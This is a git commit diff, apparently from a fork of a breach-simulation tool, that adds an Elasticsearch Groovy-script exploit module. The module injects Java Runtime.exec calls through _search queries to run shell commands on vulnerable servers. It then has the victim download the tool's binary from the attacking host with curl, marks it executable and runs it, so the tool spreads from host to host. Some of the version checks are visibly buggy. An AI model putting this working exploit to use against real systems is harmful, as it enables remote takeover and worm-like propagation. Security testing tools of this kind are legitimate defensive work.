forked from p15670423/monkey
Added Elastic attack
This commit is contained in:
parent
5e133b78f3
commit
6708e623fc
|
@ -6,7 +6,7 @@ from abc import ABCMeta
|
|||
from itertools import product
|
||||
|
||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||
SambaCryExploiter
|
||||
SambaCryExploiter, ElasticGroovyExploiter
|
||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
||||
from network.range import FixedRange
|
||||
|
||||
|
@ -145,6 +145,7 @@ class Configuration(object):
|
|||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
|
||||
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
|
||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||
ElasticGroovyExploiter, # multi
|
||||
]
|
||||
|
||||
# how many victims to look for in a single scan iteration
|
||||
|
|
|
@ -33,7 +33,9 @@
|
|||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"Ms08_067_Exploiter",
|
||||
"ShellShockExploiter"
|
||||
"ShellShockExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"SambaCryExploiter",
|
||||
],
|
||||
"finger_classes": [
|
||||
"SSHFinger",
|
||||
|
|
|
@ -14,6 +14,7 @@ class HostExploiter(object):
|
|||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
raise NotImplementedError()
|
||||
|
||||
|
||||
from win_ms08_067 import Ms08_067_Exploiter
|
||||
from wmiexec import WmiExploiter
|
||||
from smbexec import SmbExploiter
|
||||
|
@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter
|
|||
from sshexec import SSHExploiter
|
||||
from shellshock import ShellShockExploiter
|
||||
from sambacry import SambaCryExploiter
|
||||
from elasticgroovy import ElasticGroovyExploiter
|
||||
|
|
|
@ -0,0 +1,221 @@
|
|||
"""
|
||||
Implementation is based on elastic search groovy exploit by metasploit
|
||||
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
|
||||
import requests
|
||||
|
||||
from exploit import HostExploiter
|
||||
from model import MONKEY_ARG
|
||||
from model.host import VictimHost
|
||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
TIMEOUT = 2
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
VULNERABLE_VERSION = "1.4.2"
|
||||
|
||||
|
||||
class ElasticGroovyExploiter(HostExploiter):
|
||||
_target_os_type = ['linux', 'windows']
|
||||
BASE_URL = 'http://%s:%s/_search?pretty'
|
||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}'''
|
||||
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
|
||||
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
|
||||
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
|
||||
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
self.host = None
|
||||
|
||||
def is_os_supported(self, host):
|
||||
"""
|
||||
Checks if the host is vulnerable.
|
||||
Either using version string or by trying to attack
|
||||
:param host: VictimHost
|
||||
:return:
|
||||
"""
|
||||
if host.os.get('type') in self._target_os_type:
|
||||
return True
|
||||
|
||||
if ES_SERVICE not in host.services:
|
||||
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
|
||||
return False
|
||||
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
|
||||
if major > 1:
|
||||
return False
|
||||
if major == 1 and minor > 4:
|
||||
return False
|
||||
if major == 1 and minor == 4 and build > 2:
|
||||
return False
|
||||
return self.is_vulnerable(host)
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
assert isinstance(host, VictimHost)
|
||||
self.host = host
|
||||
|
||||
real_host_os = self.get_host_os()
|
||||
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
|
||||
if 'linux' in host.os['type']:
|
||||
return self.exploit_host_linux(host, depth, src_path)
|
||||
else:
|
||||
return self.exploit_host_windows(host, depth, src_path)
|
||||
|
||||
def exploit_host_windows(self, host, depth=-1, src_path=None):
|
||||
"""
|
||||
TODO
|
||||
Will exploit windows similar to smbexec
|
||||
:param host:
|
||||
:param depth:
|
||||
:param src_path:
|
||||
:return:
|
||||
"""
|
||||
return False
|
||||
|
||||
def exploit_host_linux(self, host, depth=-1, src_path=None):
|
||||
"""
|
||||
Exploits linux using similar flow to sshexec and shellshock.
|
||||
Meaning run remote commands to copy files over HTTP
|
||||
:param host:
|
||||
:param depth:
|
||||
:param src_path:
|
||||
:return:
|
||||
"""
|
||||
uname_machine = self.get_linux_arch()
|
||||
if '' != uname_machine:
|
||||
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % host)
|
||||
return True # return already infected
|
||||
src_path = src_path or get_target_monkey(host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||
return False
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
||||
return False
|
||||
|
||||
download_command = '/usr/bin/curl %s -o %s' % (
|
||||
http_path, dropper_target_path_linux)
|
||||
self.run_shell_command(download_command)
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in
|
||||
self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
return False
|
||||
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
|
||||
self.run_shell_command(chmod)
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
|
||||
self.run_shell_command(cmdline)
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, host, cmdline)
|
||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
return True
|
||||
|
||||
def check_if_remote_file_exists_linux(self, file_path):
|
||||
"""
|
||||
:param file_path:
|
||||
:return:
|
||||
"""
|
||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
||||
return self.run_shell_command(cmdline)
|
||||
|
||||
def run_shell_command(self, command):
|
||||
"""
|
||||
Runs a single shell command and returns the result.
|
||||
:param command:
|
||||
:return:
|
||||
"""
|
||||
payload = self.JAVA_CMD % command
|
||||
return self.get_command_result(payload)
|
||||
|
||||
def get_linux_arch(self):
|
||||
"""
|
||||
Returns host as per uname -m
|
||||
:return:
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
||||
|
||||
def get_host_tempdir(self):
|
||||
"""
|
||||
Returns where to write our file given our permissions
|
||||
:return: Temp directory path in target host
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
||||
|
||||
def get_host_os(self):
|
||||
"""
|
||||
:return: target OS
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_OS)
|
||||
|
||||
def is_vulnerable(self, host):
|
||||
"""
|
||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
||||
:param host: Host, with an open 9200 port
|
||||
:return: True/False
|
||||
"""
|
||||
self.host = host
|
||||
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
||||
return 'java.lang.Runtime' in result_text
|
||||
|
||||
def get_command_result(self, payload):
|
||||
"""
|
||||
Gets the result of an attack payload with a single return value.
|
||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
||||
:return:
|
||||
"""
|
||||
result = self.attack_query(payload)
|
||||
if not result: # not vulnerable
|
||||
return False
|
||||
if 1 != len(result): # weird
|
||||
return None
|
||||
return result[0]
|
||||
|
||||
@property
|
||||
def attack_url(self):
|
||||
"""
|
||||
Composes the URL to attack per host IP and port.
|
||||
:return:
|
||||
"""
|
||||
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
||||
|
||||
def attack_query(self, payload):
|
||||
"""
|
||||
Wraps the requests query and the JSON parsing.
|
||||
Just reduce opportunity for bugs
|
||||
:param payload:
|
||||
:return: List of data fields or None
|
||||
"""
|
||||
response = requests.get(self.attack_url, data=payload)
|
||||
result = self.get_results(response)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def get_results(response):
|
||||
"""
|
||||
Extracts the result data from our attack
|
||||
:return: List of data fields or None
|
||||
"""
|
||||
try:
|
||||
json_resp = json.loads(response.text)
|
||||
return json_resp['hits']['hits'][0]['fields']['monkey_result']
|
||||
except KeyError:
|
||||
return None
|
Loading…
Reference in New Issue